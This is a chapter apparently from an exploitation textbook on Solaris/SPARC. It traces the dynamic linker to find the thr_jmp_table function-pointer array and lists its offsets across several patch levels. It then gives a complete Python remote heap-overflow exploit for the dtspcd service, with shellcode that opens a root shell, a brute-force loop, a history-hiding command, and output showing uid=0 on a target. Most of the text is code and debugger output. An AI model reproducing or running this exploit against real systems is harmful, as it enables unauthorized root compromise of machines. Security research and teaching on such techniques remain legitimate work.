CHAPTER

11

Advanced Solaris Exploitation

This chapter covers advanced Solaris exploitation using the dynamic linker. We also cover the generation of encrypted shellcode, used for defeating Network IDS (Intrusion Detection System) and/or IPS (Intrusion Prevention System) devices.

Dynamic linking is explained extensively in the SPARC ABI (Application Binary Interface). We advise you to go over the ABI manual, which you can find at `http://www.sun.com/software/solaris/programs/abi/`, for better coverage of the concepts and to learn how dynamic linking works for various architectures and systems. In this chapter, we cover only the details necessary for constructing new exploitation methods in the Solaris/SPARC environment.

Overwriting Global Offset Table (GOT) entries to gain control of execution in Linux has been demonstrated and widely used in many public and private exploits. This technique is known to be the most robust and reliable way of exploitation of *Write-to-anywhere-in-memory* overflow primitives (such as format string bugs, heap overflows, and so on). These vulnerabilities have all made use of the classic method of exploitation, namely overwriting the return address. The return address is stored in the thread stack and differs in various execution environments, which often leads to long brute force sessions in order to gather its location. For these reasons, altering the GOT in Linux and BSD OSes has been the best exploitation vector for various types of bug classes. Unfortunately, this technique is not possible on the Solaris/SPARC architecture, because dynamic linking works in a totally different manner. On

SPARC, the GOT does not contain any direct references to the symbol's actual virtual address in the object. We'll refer to the function (such as `printf`) as the symbol and the dynamic library (such as `libc.so`), which is mapped into a thread's address space, as object.

For the Solaris/SPARC architecture, let's assume that we are dealing with lazy binding. In lazy binding, symbols will be resolved by the linker on demand, not at the execution startup. No need to worry—lazy binding is the default behavior. The Procedure Linkage Table (PLT) does all the necessary work to locate a symbol's address in any of the memory mapped objects. The PLT will then pass control to the dynamic linker (`ld.so.1` in Solaris) for an initial request for any symbol that is referenced in any of the object's `.text` segments, with an offset describing the symbol.

NOTE We aren't dealing with the *name* of the symbol, but rather an offset that represents the location of the symbol within PLT. It is a subtle difference that can have a profound effect on exploitation.

Symbol resolution takes place via the dynamic linker walking through a linked list of mapped object structures. It then searches each object's dynamic symbol (`.dynsym`) table with the help of hash and chain tables. The hash and chain tables verify that the request has been satisfied by looking at the object's dynamic string (`.dynstr`) table.

The dynamic string table contains the actual string and name of the symbol. The linker simply does a string compare to determine whether the request is matched by the proper entry in the correct object. If the string is not matched and the chain table does not have any further entries, the linker moves to the next object in the link list and will keep going until the request has been satisfied.

After the symbol is resolved, or located, the dynamic linker patches the PLT entry of the requested symbol with instructions. These newly patched instructions will make the application jump to the symbol's reallocation if and when it is subsequently requested. This is nice, because we won't need to do this crazy dynamic linking process all over again. Unlike the Linux glibc dynamic linker implementation, which updates the GOT entry for the symbol with the newly resolved location, the Solaris dynamic linker patches the PLT with actual instructions. These instructions will take the application directly to the location within the mapped object's text segment. You should remain fully aware of this major difference between Linux on x86 and Solaris on SPARC for future exploit construction sessions.

Because the PLT is patched with instructions (we're talking opcodes here, not addresses), altering any entry with an address pointing to shellcode will not be successful. Consequently, we prefer to overwrite the PLT with actual instructions. Unfortunately, this is not always possible, because the `jump` or `call` instruction displacement is relative to its current location. As you can imagine, locating the shellcode's relative distance from the overwritten PLT entry is not easy. With heap overflows, you will not be able to overwrite any arbitrary PLT entry, because both of the long integers that you are placing in memory need to be valid addresses within the thread's address space. If you have forgotten how to do this, check out Chapter 5 on heap overflows with Linux.

Single Stepping the Dynamic Linker

Now that we have looked into the necessary background information, you should understand the current limitations regarding exploitation. We will now demonstrate our new method of making heap and format string attacks more reliable and robust. We will single step the dynamic linker while in action, which will show us that there are many dispatchment (jump) tables vital to the linker's functionality. Single stepping is used when precise control over instruction execution is required. As each instruction is executed, control is passed back to the debugger, which disassembles the next instruction to be executed. You must give input at this point before execution will continue. These tables, which contain internal function pointers, remain at the same location in every thread's address space. This is a remote attacker's dream—reliable and resident function pointers.

Let's disassemble and single step the following example to find what could potentially be a new exploitation vector for Solaris/SPARC executables:

```
<linkme.c>

#include <stdio.h>

int
main(void)
{

    printf("hello world!\n");

    printf("uberhax0r rux!\n");

}

bash-2.03# gcc -o linkme linkme.c
bash-2.03# gdb -q linkme
(no debugging symbols found)...(gdb)
(gdb) disassemble main
Dump of assembler code for function main:
0x10684 <main>: save  %sp, -112, %sp
0x10688 <main+4>:       sethi  %hi(0x10400), %o0
0x1068c <main+8>:       or  %o0, 0x358, %o0     ! 0x10758
```

```
<_lib_version+8>
0x10690 <main+12>:      call  0x20818 <printf>
0x10694 <main+16>:      nop
0x10698 <main+20>:      sethi  %hi(0x10400), %o0
0x1069c <main+24>:      or  %o0, 0x368, %o0     ! 0x10768
<_lib_version+24>
0x106a0 <main+28>:      call  0x20818 <printf>
0x106a4 <main+32>:      nop
0x106a8 <main+36>:      mov  %o0, %i0
0x106ac <main+40>:      nop
0x106b0 <main+44>:      ret
0x106b4 <main+48>:      restore
0x106b8 <main+52>:      retl
0x106bc <main+56>:      add  %o7, %l7, %l7
End of assembler dump.
(gdb) b *main
Breakpoint 1 at 0x10684
(gdb) r
Starting program: /BOOK/linkme
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Breakpoint 1, 0x10684 in main ()
(gdb) x/i *main+12
0x10690 <main+12>:      call  0x20818 <printf>
(gdb) x/4i 0x20818
0x20818 <printf>:       sethi  %hi(0x1e000), %g1
0x2081c <printf+4>:     b,a   0x207a0 <_PROCEDURE_LINKAGE_TABLE_>
0x20820 <printf+8>:     nop
0x20824 <printf+12>:    nop
```

This is the initial entry for the `printf()` in the PLT where `printf` is first referenced. The `%g1` register will be set with the offset of `0x1e000` and then a jump to the first entry in the PLT. This will set up the outgoing arguments and take us to the dynamic linker's resolve function.

```
(gdb) b *0x20818
Breakpoint 2 at 0x20818
(gdb) display/i $pc
1: x/i $pc  0x10684 <main>:     save  %sp, -112, %sp
(gdb) c
```

Continuing, we set a breakpoint for the PLT entry of the `printf()` function.

```
Breakpoint 2, 0x20818 in printf ()
1: x/i $pc  0x20818 <printf>:   sethi  %hi(0x1e000), %g1
(gdb) x/4i $pc
0x20818 <printf>:       sethi  %hi(0x1e000), %g1
0x2081c <printf+4>:     b,a   0x207a0 <_PROCEDURE_LINKAGE_TABLE_>
0x20820 <printf+8>:     nop
0x20824 <printf+12>:    nop
```

```
(gdb) c
Continuing.
hello world!
```

printf was referenced for the first time from the .text segment and entered to PLT, which redirects the execution to the memory-mapped image of the dynamic linker. The dynamic linker resolves the function's (printf) location within the mapped objects, in this case libc.so, and directs the execution to this location. The dynamic linker also patches the PLT entry for printf with instructions that will jump to libc's printf entry when there is any further reference to printf. As you can see from the following disassembly, printf's PLT entry was altered by the dynamic linker. Take note of the address, 0xff304418, which is the location of printf with in libc.so. This is followed by the method to verify that this is really the location of printf within libc.so.

```
Breakpoint 2, 0x20818 in printf ()
1: x/i $pc  0x20818 <printf>:   sethi  %hi(0x1e000), %g1
(gdb) x/4i $pc
0x20818 <printf>:       sethi  %hi(0x1e000), %g1
0x2081c <printf+4>:     sethi  %hi(0xff304400), %g1
0x20820 <printf+8>:     jmp  %g1 + 0x18 ! 0xff304418 <printf>
0x20824 <printf+12>:    nop

FF280000    672K read/exec         /usr/lib/libc.so.1
```

Next we see where libc is mapped within our sample hello world example.

```
bash-2.03# nm -x /usr/lib/libc.so.1 | grep printf
[3762]  |0x00084290|0x00000188|FUNC |GLOB |0    |9      |_fprintf
[593]   |0x00000000|0x00000000|FILE |LOCL |0    |ABS    |_sprintf_sup.c
[4756]  |0x00084290|0x00000188|FUNC |WEAK |0    |9      |fprintf
[2185]  |0x00000000|0x00000000|FILE |LOCL |0    |ABS    |fprintf.c
[4718]  |0x00084cbc|0x000001c4|FUNC |GLOB |0    |9      |fwprintf
[3806]  |0x00084418|0x00000194|FUNC |GLOB |0    |9      |printf
          |
          |->> printf() within libc.so
```

The following calculation will give us the exact location of printf() within our example's address space:

```
bash-2.03# gdb -q
(gdb) printf "0x%.8x\n", 0x00084418 + 0xFF280000
0xff304418
```

The address 0xff304418 is the exact location of printf() within our sample application. As expected, the dynamic linker updated the PLT's printf entry with the exact location of printf() in the thread's address space.

Let's delve further into the dynamic linking process to learn more about this new technique of exploitation. We will restart the application and breakpoint at the PLT entry of `printf()` and from there single step into the dynamic linker.

```
(gdb) b *0x20818
Breakpoint 1 at 0x20818
(gdb) r
Starting program: /BOOK/./linkme
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Breakpoint 1, 0x20818 in printf ()
(gdb) display/i $pc
1: x/i $pc  0x20818 <printf>:   sethi  %hi(0x1e000), %g1
(gdb) si
0x2081c in printf ()
1: x/i $pc  0x2081c <printf+4>: b,a   0x207a0
<_PROCEDURE_LINKAGE_TABLE_>
(gdb)
0x207a0 in _PROCEDURE_LINKAGE_TABLE_ ()
1: x/i $pc  0x207a0 <_PROCEDURE_LINKAGE_TABLE_>:        save  %sp, -64, %sp
(gdb)
0x207a4 in _PROCEDURE_LINKAGE_TABLE_ ()
1: x/i $pc  0x207a4 <_PROCEDURE_LINKAGE_TABLE_+4>:
    call  0xffffffffff3b297c
```

This is the actual `call` instruction that will take us to the entry function of the dynamic linker.

```
(gdb)
0x207a8 in _PROCEDURE_LINKAGE_TABLE_ ()
1: x/i $pc  0x207a8 <_PROCEDURE_LINKAGE_TABLE_+8>:      nop
```

Now, let's look at the `call` instruction's delay slot.

```
(gdb)
0xff3b297c in ?? ()
1: x/i $pc  0xffffffffff3b297c: mov  %i7, %o0
```

At this stage, we are in the memory-mapped image of the `ld.so`. For brevity's sake, we will not explain all the instructions until we hit the target section. A brief reverse engineering session will be done for the pure thrill of it.

```
(gdb)
1: x/i $pc  0xffffffffff3b297c: mov  %i7, %o0
1: x/i $pc  0xffffffffff3b2980: save  %sp, -96, %sp
1: x/i $pc  0xffffffffff3b2984: mov  %i0, %o3
```

`%o3` is the address within `.text` where `printf()` is called.

```
1: x/i $pc  0xffffffffff3b2988: add  %i7, -4, %o0
```

`%o0` is the address of PLT.

```
1: x/i $pc  0xffffffffff3b298c: srl  %g1, 0xa, %g1
```

`%g1` is the entry number of `printf()` within PLT.

```
1: x/i $pc  0xffffffffff3b2990: add  %o0, %g1, %o0
```

`%o0` is the `printf()`'s address in PLT.

```
1: x/i $pc  0xffffffffff3b2994: mov  %g1, %o1
```

`%o1` is the entry number within PLT.

```
1: x/i $pc  0xffffffffff3b2998: call  0xffffffffff3c34c8
1: x/i $pc  0xffffffffff3b299c: ld  [ %i7 + 8 ], %o2
```

`%o2` contains the fourth integer entry in the PLT, which is a pointer to the most important dynamic linker foundation: A link list of structures referred to as the link map. See `/usr/include/sys/link.h` for its layout.

Now the function at location `0xff3c34c8` (ignore the high-order bits that seems to be set; `0xffffffffff3c34c8` is actually `0xff3c34c8`) is called with the following arguments:

```
func(address_of_PLT, slot_number_in_PLT, address_of_link_map,
.text_address);
0xff3c34c8(0x20818, 0x78, 0xff3a0018, 0x10690);

1: x/i $pc  0xffffffffff3c34c8: save  %sp, -144, %sp
1: x/i $pc  0xffffffffff3c34cc: call  0xffffffffff3c34d4
1: x/i $pc  0xffffffffff3c34d0: sethi  %hi(0x1f000), %o1
```

Basically, this states: reserve some stack and move incoming arguments into input registers. Now all previous address and offsets that we dealt with are in the `%i0` through `%i3` registers. Set the `%o1` register to `0x1f000` and jump to a leaf function at `0xff3c34d4`.

```
i0             0x20818     address_of_PLT
i1             0x78        slot_number_in_PLT
i2             0xff3a0018  ddress_of_link_map
i3             0x10690     .text_address

1: x/i $pc  0xffffffffff3c34d4: mov  %i3, %l2
1: x/i $pc  0xffffffffff3c34d8: add  %o1, 0x19c, %o1
1: x/i $pc  0xffffffffff3c34dc: mov  %i2, %l1
```

```
1: x/i $pc  0xffffffffff3c34e0: add  %o1, %o7, %i4
1: x/i $pc  0xffffffffff3c34e4: mov  %i0, %l3
1: x/i $pc  0xffffffffff3c34e8: call  0xffffffffff3bda9c
1: x/i $pc  0xffffffffff3c34ec: clr  [ %fp + -4 ]
```

The prior instructions store all the aforementioned input register values into local register, or temporary/scratch registers. Take note that an internal structure's address is stored in the `%i4` register. Finally, this block of instructions passes the control to another function at `0xff3bda9c`.

```
1: x/i $pc  0xffffffffff3bda9c: save  %sp, -96, %sp
1: x/i $pc  0xffffffffff3bdaa0: call  0xffffffffff3bdaa8
1: x/i $pc  0xffffffffff3bdaa4: sethi  %hi(0x24800), %o1
```

In essence, this code block sets the `%o1` registers to `0x24800` and calls the function at address `0xff3bdaa8`.

```
1: x/i $pc  0xffffffffff3bdaa8: add  %o1, 0x3c8, %o1    ! 0x24bc8
1: x/i $pc  0xffffffffff3bdaac: add  %o1, %o7, %i0
1: x/i $pc  0xffffffffff3bdab0: call  0xffffffffff3b92ec
1: x/i $pc  0xffffffffff3bdab4: mov  1, %o0
```

This code block adds the prior value of `0x24800` to the caller's address (which is the prior call instruction's location: `0xff3bdaa0`) and moves the sum to the `%i0` register. Once again execution flow is directed to another function at `0xff3b92ec`.

```
1: x/i $pc  0xffffffffff3b92ec: mov  %o7, %o5
1: x/i $pc  0xffffffffff3b92f0: call  0xffffffffff3b92f8
1: x/i $pc  0xffffffffff3b92f4: sethi  %hi(0x29000), %o4
```

This is the same as the previous block; we immediately pass control to another function with an additional operation. We set the `%o4` register with the value of `0x29000`. The caller's location is stored in the `%o5` register, and the function at `0xff3b92f8` is entered. Now, on to the Holy Grail that we are all after. If you have found the explanation tedious to this point, you should definitely pay attention now.

```
1: x/i $pc  0xffffffffff3b92f8: add  %o4, 0x378, %o4    ! 0x29378
1: x/i $pc  0xffffffffff3b92fc: add  %o4, %o7, %g1
```

The preceding two instructions translate into `%o4 + 0x378 + %o7`, which is `0x29000 + 0x378 + 0xff3b92f0` (the caller's location). Now, the `%g1` register contains the address of an internal `ld.so` structure, which is a great vector for exploitation.

```
1: x/i $pc  0xffffffffff3b9300: mov  %o5, %o7
```

The previous code fragment will move the caller's caller into our caller's address. This process of moving callers will make the current execution block return to the caller's caller, not to our initial caller.

```
(gdb) info reg $g1
g1             0xff3e2668       -12704152

1: x/i $pc  0xffffffffff3b9304: ld  [ %g1 + 0x30 ], %g1
1: x/i $pc  0xffffffffff3b9308: ld  [ %g1 ], %g1
1: x/i $pc  0xffffffffff3b930c: jmp  %g1

(gdb) x/x $g1 + 0x30
0xffffffffff3e2698:     0xff3e21b4
```

The prior instruction can be translated into `%g1` containing the address of an internal linker structure. The member of this structure at location `0x30` is a pointer to a table of function pointers. Then the first entry in this table, or array of function pointers, is dispatched by the following `jmp` instruction:

```
struct internal_ld_stuff {
0x00:...
....
0x30: unsigned long *ptr;
...

};
```

With the following calculation, we can determine the location of our function pointer table:

```
(gdb) x/x $g1 + 0x30
0xffffffffff3e2698:     0xff3e21b4
```

Basically, the address `0xff3e21b4` contains the address of a table whose first entry will be the next function to which the dynamic linker will jump. At this point, we are going to check the layout of the dynamic linker within a process. We will discover that this address has an entry within the dynamic linker's symbol table, which will be very handy in locating it at a later stage.

```
FF3B0000    136K read/exec         /usr/lib/ld.so.1
```

`0xff3b0000` is the address in which the dynamic linker is mapped into every thread's address space in the Solaris 8 operating system. You can verify this with the `/usr/bin/pmap` application. Armed with that knowledge, you can find out the location of this function pointer array within `ld.so`.

```
bash-2.03# gdb -q
(gdb) printf "0x%.8x\n", 0xff3e21b4 - 0xff3b0000
0x000321b4
```

`0x000321b4` is the location within `ld.so` that we are after. The treasure reveals itself with the following command:

```
bash-2.03# nm -x /usr/lib/ld.so.1 | grep 0x000321b4
[433]   |0x000321b4|0x0000001c|OBJT |LOCL |0    |14     |thr_jmp_table
```

`thr_jmp_table` (thread jump table) turns out to be the array in which internal `ld.so` function pointers are stored. Now, let's test our theory in action with the following example:

```
<hiyar.c>

#include <stdio.h>

                       /* http://lsd-pl.net           */
char shellcode[]=          /* 10*4+8 bytes                      */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>             */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>               */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>             */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0                */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1                */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]               */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]              */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]              */
    "\x82\x10\x20\x0b"     /* mov     0x0b,%g1                  */
    "\x91\xd0\x20\x08"     /* ta      8                         */
    "/bin/ksh"
;

int
main(int argc, char **argv)
{
        long *ptr;
        long *addr = (long *) shellcode;

        printf("la la lala laaaaa\n");

  //ld.so base + thr_jmp_table
  //[433]   |0x000321b4|0x0000001c|OBJT |LOCL |0    |14
|thr_jmp_table
  //0xFF3B0000 + 0x000321b4

        ptr = (long *) 0xff3e21b4;
        *ptr++ = (long)((long *) shellcode);

        strcmp("mocha", "latte");  //this will make us enter the dynamic
linker
                             //since there is no prior call to strcmp()

}
```

```
bash-2.03# gcc -o hiyar hiyar.c
bash-2.03# ./hiyar
la la lala laaaaa
#
```

Execution is hijacked and directed to the shellcode; `strcmp()` has never been entered. This technique is much more reliable and robust than any previously invented Solaris exploitation techniques (such as `exitfns`, return address, and so on), so you are advised to use it to take control of execution in all situations. You will need to compile a simple database for the `thr_jmp_table` offsets due to the introduction of new `ld.so.1` binaries with various patch clusters. We have only come across four different offsets. We'll leave to the reader the exercise of discovering, if possible, additional offsets from various patch levels that we might have missed.

```
1)
5.8 Generic_108528-07 sun4u SPARC SUNW,UltraAX-i2
5.8 Generic_108528-09 sun4u SPARC SUNW,Ultra-5_10

0x000321b4   thr_jmp_table

2)
5.8 Generic_108528-14 sun4u SPARC SUNW,UltraSPARC-IIi-cEngine
5.8 Generic_108528-15 sun4u SPARC SUNW,Ultra-5_10

0x000361d8   thr_jmp_table

3)
5.8 Generic_108528-17 sun4u SPARC SUNW,Ultra-80

0x000361e0   thr_jmp_table

4)
5.8 Generic_108528-20 sun4u SPARC SUNW,Ultra-5_10

0x000381e8   thr_jmp_table
```

Next, we will demonstrate how `thr_jmp_table` can be used in a remote heap overflow exploit for a robust and reliable method of gaining control of execution. We introduced a list of offsets for the aforementioned various `thr_jmp_table` locations; now, we can brute force our way by incrementing heap addresses. We will also need to change the `thr_jmp_table` offset with the next entry in the following list:

```
self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ]
```

```
------------------ dtspcd_exp.py -----------------------------


# noir@olympos.org || noir@uberhax0r.net
# Sinan Eren (c) 2003
# dtspcd heap overflow
# with all new shiny tricks baby ;)

import socket
import telnetlib
import sys
import string
import struct
import time
import threading
import random

PORT = "6112"
CHANNEL_ID = 2
SPC_ABORT = 3
SPC_REGISTER = 4


class DTSPCDException(Exception):

    def __init__(self, args=None):
        self.args = args

    def __str__(self):
        return `self.args`

class DTSPCDClient:

    def __init__(self):
        self.seq = 1

    def spc_register(self, user, buf):
        return "4 " + "\x00" + user + "\x00\x00" + "10" + "\x00" + buf

    def spc_write(self, buf, cmd):
        self.data = "%08x%02x%04x%04x  " % (CHANNEL_ID, cmd, len(buf),
self.seq)
        self.seq += 1
        self.data += buf
        if self.sck.send(self.data) < len(self.data):
            raise DTSPCDException, "network problem, packet not fully
send"

    def spc_read(self):
        self.recvbuf = self.sck.recv(20)

        if len(self.recvbuf) < 20:
           raise  DTSPCDException, "network problem, packet not fully
received"

        self.chan = string.atol(self.recvbuf[:8], 16)
        self.cmd =  string.atol(self.recvbuf[8:10], 16)
        self.mbl =  string.atol(self.recvbuf[10:14], 16)
        self.seqrecv = string.atol(self.recvbuf[14:18], 16)

        #print "chan, cmd, len, seq: " , self.chan, self.cmd, self.mbl,
self.seqrecv

        self.recvbuf = self.sck.recv(self.mbl)

        if len(self.recvbuf) < self.mbl:
            raise  DTSPCDException, "network problem, packet not fully
recvied"

        return self.recvbuf


class DTSPCDExploit(DTSPCDClient):

    def __init__(self, target, user="", port=PORT):
        self.user = user
        self.set_target(target)
        self.set_port(port)
        DTSPCDClient.__init__(self)

        #shellcode: write(0, "/bin/ksh", 8) + fcntl(0, F_DUP2FD, 0-1-2)
+ exec("/bin/ksh"...)
        self.shellcode =\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\x20\xbf\xff\xff"+\
        "\x20\xbf\xff\xff"+\
        "\x7f\xff\xff\xff"+\
        "\xa2\x1c\x40\x11"+\
        "\x90\x24\x40\x11"+\
        "\x92\x10\x20\x09"+\
        "\x94\x0c\x40\x11"+\
        "\x82\x10\x20\x3e"+\
        "\x91\xd0\x20\x08"+\
        "\xa2\x04\x60\x01"+\
        "\x80\xa4\x60\x02"+\
        "\x04\xbf\xff\xfa"+\
        "\x90\x23\xc0\x0f"+\
        "\x92\x03\xe0\x58"+\
        "\x94\x10\x20\x08"+\
        "\x82\x10\x20\x04"+\
        "\x91\xd0\x20\x08"+\
        "\x90\x03\xe0\x58"+\
        "\x92\x02\x20\x10"+\
        "\xc0\x22\x20\x08"+\
        "\xd0\x22\x20\x10"+\
        "\xc0\x22\x20\x14"+\
        "\x82\x10\x20\x0b"+\
        "\x91\xd0\x20\x08"+\
        "\x2f\x62\x69\x6e"+\
        "\x2f\x6b\x73\x68"

    def set_user(self, user):
        self.user = user

    def get_user(self):
        return self.user

    def set_target(self, target):
        try:
            self.target = socket.gethostbyname(target)
        except socket.gaierror, err:
            raise DTSPCDException, "DTSPCDExploit, Host: " + target + "
" + err[1]

    def get_target(self):
        return self.target

    def set_port(self, port):
        self.port = string.atoi(port)

    def get_port(self):
        return self.port

    def get_uname(self):

        self.setup()

        self.uname_d = { "hostname": "", "os": "", "version": "",
"arch": "" }

        self.spc_write(self.spc_register("root", "\x00"), SPC_REGISTER)

        self.resp = self.spc_read()
        try:
            self.resp = 
self.resp[self.resp.index("1000")+5:len(self.resp)-1]
        except ValueError:
            raise DTSPCDException, "Non standard response to REGISTER 
cmd"

        self.resp = self.resp.split(":")

        self.uname_d = { "hostname": self.resp[0],\
                         "os": self.resp[1],\
                         "version": self.resp[2],\
                         "arch": self.resp[3] }
        print self.uname_d

        self.spc_write("", SPC_ABORT)

        self.sck.close()

    def setup(self):

        try:
            self.sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 
socket.IPPROTO_IP)
            self.sck.connect((self.target, self.port))
        except socket.error, err:
            raise DTSPCDException, "DTSPCDExploit, Host: " + 
str(self.target) + ":"\
                  + str(self.port) + " " + err[1]

    def exploit(self, retloc, retaddr):

        self.setup()

        self.ovf = "\xa4\x1c\x40\x11\x20\xbf\xff\xff" * ((4096 - 8 - 
len(self.shellcode)) / 8)

        self.ovf += self.shellcode + "\x00\x00\x10\x3e" + 
"\x00\x00\x00\x14" +\
                    "\x12\x12\x12\x12" + "\xff\xff\xff\xff" + 
"\x00\x00\x0f\xf4" +\
                    self.get_chunk(retloc, retaddr)
        self.ovf += "A" * ((0x103e - 8) - len(self.ovf))

        #raw_input("attach")

        self.spc_write(self.spc_register("", self.ovf), SPC_REGISTER)

        time.sleep(0.1)
        self.check_bd()
        #self.spc_write("", SPC_ABORT)

        self.sck.close()

    def get_chunk(self, retloc, retaddr):

        return "\x12\x12\x12\x12" + struct.pack(">l", retaddr) +\
               "\x23\x23\x23\x23" + "\xff\xff\xff\xff" +\
               "\x34\x34\x34\x34" + "\x45\x45\x45\x45" +\
               "\x56\x56\x56\x56" + struct.pack(">l", (retloc - 8))

    def attack(self):

        print "[*]  retrieving remote version [*]"
        self.get_uname()
        print "[*]      exploiting ...       [*]"

        #do some parsing later ;p

        self.ldso_base = 0xff3b0000 #solaris 7, 8 also 9

        self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ]
#from various patch clusters
        self.increment = 0x400

        for each in self.thr_jmp_table:

            self.retaddr_base = 0x2c000 #vanilla solaris 8 heap brute
start
                                        #almost always work!

            while self.retaddr_base < 0x2f000: #heap brute force end

                print "trying; retloc: 0x%08x, retaddr: 0x%08x" %\
                      ((self.ldso_base+each), self.retaddr_base)
                self.exploit((each+self.ldso_base), self.retaddr_base)

                self.exploit((each+self.ldso_base), self.retaddr_base+4)

                self.retaddr_base += self.increment

    def check_bd(self):
        try:
            self.recvbuf = self.sck.recv(100)
            if self.recvbuf.find("ksh") != -1:
                print "got shellcode response: ", self.recvbuf
                self.proxy()
        except socket.error:
            pass

        return -1
    def proxy(self):

        self.t = telnetlib.Telnet()
        self.t.sock = self.sck
        self.t.write("unset HISTFILE;uname -a;\n")
        self.t.interact()
        sys.exit(1)


    def run(self):
        self.attack()
        return


if __name__ == "__main__":

    if len(sys.argv) < 2:
        print "usage: dtspcd_exp.py target_ip"
        sys.exit(0)


    exp = DTSPCDExploit(sys.argv[1])
    #print "user, target, port: ", exp.get_user(), exp.get_target(),
    exp.get_port()
    exp.run()
```

Let's see how this exploit will work.

```
juneof44:~/exploit_workshop/dtspcd_exp # python dtspcd_exp_book.py
192.168.10.40
[*]  retrieving remote version [*]
{'arch': 'sun4u', 'hostname': 'slint', 'os': 'SunOS', 'version': '5.8'}
[*]      exploiting ...       [*]
trying; retloc: 0xff3e21b4, retaddr: 0x0002c000
trying; retloc: 0xff3e21b4, retaddr: 0x0002c400
trying; retloc: 0xff3e21b4, retaddr: 0x0002c800
got shellcode response:  /bin/ksh
SunOS slint 5.8 Generic_108528-09 sun4u SPARC SUNW,Ultra-5_10
id
uid=0(root) gid=0(root)
.....
```

Brute force attempts left a core file under the root directory; initial jumps to heap space did not hit the payload (`nop` + shellcode). This core file is a good starting point for postmortem analysis on our execution hooking technique. Let's take some time and see what we can find.

```
bash-2.03# gdb -q /usr/dt/bin/dtspcd /core
(no debugging symbols found)...Core was generated by
`/usr/dt/bin/dtspcd'.
```

```
Program terminated with signal 4, Illegal Instruction.
Reading symbols from /usr/dt/lib/libDtSvc.so.1...
...
Loaded symbols for /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1
#0  0x2c820 in ?? ()
(gdb) bt
#0  0x2c820 in ?? ()
#1  0xff3c34f0 in ?? ()
#2  0xff3b29a0 in ?? ()
#3  0x246e4 in _PROCEDURE_LINKAGE_TABLE_ ()
#4  0x12c0c in Client_Register ()
#5  0x12918 in SPCD_Handle_Client_Data ()
#6  0x13e34 in SPCD_MainLoopUntil ()
#7  0x12868 in main ()
(gdb) x/4i 0x12c0c - 8
0x12c04 <Client_Register+64>:   call  0x24744 <Xestrcmp>
0x12c08 <Client_Register+68>:   add  %g2, 0x108, %o1
0x12c0c <Client_Register+72>:   tst  %o0
0x12c10 <Client_Register+76>:   be  0x13264 <Client_Register+1696>
(gdb) x/3i 0x24744
0x24744 <Xestrcmp>:     sethi  %hi(0x1b000), %g1
0x24748 <Xestrcmp+4>:   b,a   0x246d8 <_PROCEDURE_LINKAGE_TABLE_>
0x2474c <Xestrcmp+8>:   nop
(gdb)
```

As we can see, the crash took place at address `0x2c820` due to an illegal instruction, likely because we have probably fallen too short to hit the `nop`s. Following the stack trace shows us that we have jumped to the heap from the dynamic linker, and we find that the address `0xff3c34f0` is mapped where the `ld.so.1 .text` segment resides within `dtspcd`'s address space.

NOTE You can do a stack trace in gdb with the `bt` command.

Various Style Tricks for Solaris SPARC Heap Overflows

As we saw in Chapter 10, every heap exploit that uses internal heap pointer manipulation macros or functions to write to arbitrary memory addresses *also* inserts one of the long words used in the exploit's fake chunk in the middle of the payload (`nop` + shellcode). This is a problem, because we may hit this long word. When we encounter this long word, our execution will be terminated; this word will most likely be an illegal instruction. Typically, exploits will insert a "jump some byte forward" instruction somewhere in the middle of the `nop` buffer, and assume that this will jump over the problematic long word and take us to the shellcode. We will introduce a novel nop strategy at this point that will make heap overflows much more reliable. Rather than inserting the “jump forward” instruction somewhere in the middle of the nop buffer, we will use alternative nops to reach our goal. Here is the nop pair taken from the dtspcd exploit:

```
0x2c7f8:        bn,a   0x2c7f4
0x2c7fc:        xor  %l1, %l1, %l2
```

The trick lies within the branch that is not within the annual instruction; we will use this to jump over the next xor instruction. In essence, we simply make the long word overwrite one of the xor instructions; thus, we jump right over it. There are two possible methods with which to accomplish this type of nop buffer arrangement.

Here is an unsuccessful jump to nop buffer:

```
0x2c800:        bn,a   0x2c7fc
0x2c804:        xor  %l1, %l1, %l2
0x2c808:        bn,a   0x2c804
0x2c80c:        xor  %l1, %l1, %l2
0x2c810:        bn,a   0x2c80c
0x2c814:        xor  %l1, %l1, %l2
0x2c818:        bn,a   0x2c814
0x2c81c:        xor  %l1, %l1, %l2
0x2c820:        std  %f62, [ %i0 + 0x1ac ]
                    |-> overwritten with the fake chunk's long word
```

Let’s assume that we used address 0x2c800 within our fake chunk to overwrite the thr_jmp_table. This address unfortunately overwrites one of the branch instructions rather than a required xor instruction. This jump, even though successful, will die with an illegal instruction.

Here is a successful jump to nop buffer:

```
0x2c804:        xor  %l1, %l1, %l2
0x2c808:        bn,a   0x2c804
0x2c80c:        xor  %l1, %l1, %l2
0x2c810:        bn,a   0x2c80c
0x2c814:        xor  %l1, %l1, %l2
0x2c818:        bn,a   0x2c814
0x2c81c:        xor  %l1, %l1, %l2
0x2c820:        bn,a   0x2c81c
0x2c824:        std  %f62, [ %i0 + 0x1ac ]
```

Let’s assume that this time we used address 0x2c804 within our fake chunk. Everything will work just fine, because the long word will overwrite one of the xor instructions, and we will happily jump over it. Rather than determining which possibility is correct, we save time because we have only two possibilities.

If we try every possible heap address twice, we are sure to hit our target. Again from the `dtspcd` exploit:

```
        self.exploit((each+self.ldso_base), self.retaddr_base)

        self.exploit((each+self.ldso_base), self.retaddr_base+4)

        self.retaddr_base += self.increment
```

